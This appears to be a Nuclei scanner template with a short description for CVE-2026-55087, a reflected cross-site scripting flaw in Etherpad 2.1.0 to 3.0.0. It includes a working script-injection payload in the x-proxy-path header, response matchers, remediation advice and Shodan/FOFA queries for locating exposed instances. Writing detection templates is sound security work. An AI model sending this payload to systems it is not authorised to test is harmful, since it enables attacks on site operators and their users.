Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.
PoC
id: CVE-2026-55087
info:
name: Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting
author: Haseeb-1698
severity: medium
description: |
Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.
remediation: |
Upgrade to Etherpad 3.1.0 or later.
reference:
- https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8
- https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996
- https://nvd.nist.gov/vuln/detail/CVE-2026-55087
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-55087
epss-score: 0.00523
epss-percentile: 0.4311
cwe-id: CWE-79,CWE-444,CWE-601
metadata:
verified: true
max-request: 1
vendor: ether
product: etherpad
shodan-query: http.title:"Etherpad"
fofa-query: title="Etherpad"
tags: cve,cve2026,etherpad,xss
http:
- method: GET
path:
- "{{BaseURL}}/admin/"
headers:
x-proxy-path: '/"><script>alert(document.domain)</script>'
matchers:
- type: dsl
dsl:
- "contains_all(body, 'src=\"/\\\"><script>alert(document.domain)</script>/admin/', 'href=\"/\\\"><script>alert(document.domain)</script>/admin/')"
- "contains(header, 'text/html')"
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100db14e4331acde319669820de4d1187a5f5128414b6d0b36277e122c0a91d942102205bc15b886d10ea88619754aadf0abf57ded44e5a0020c59625fb9d6c054a21f4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.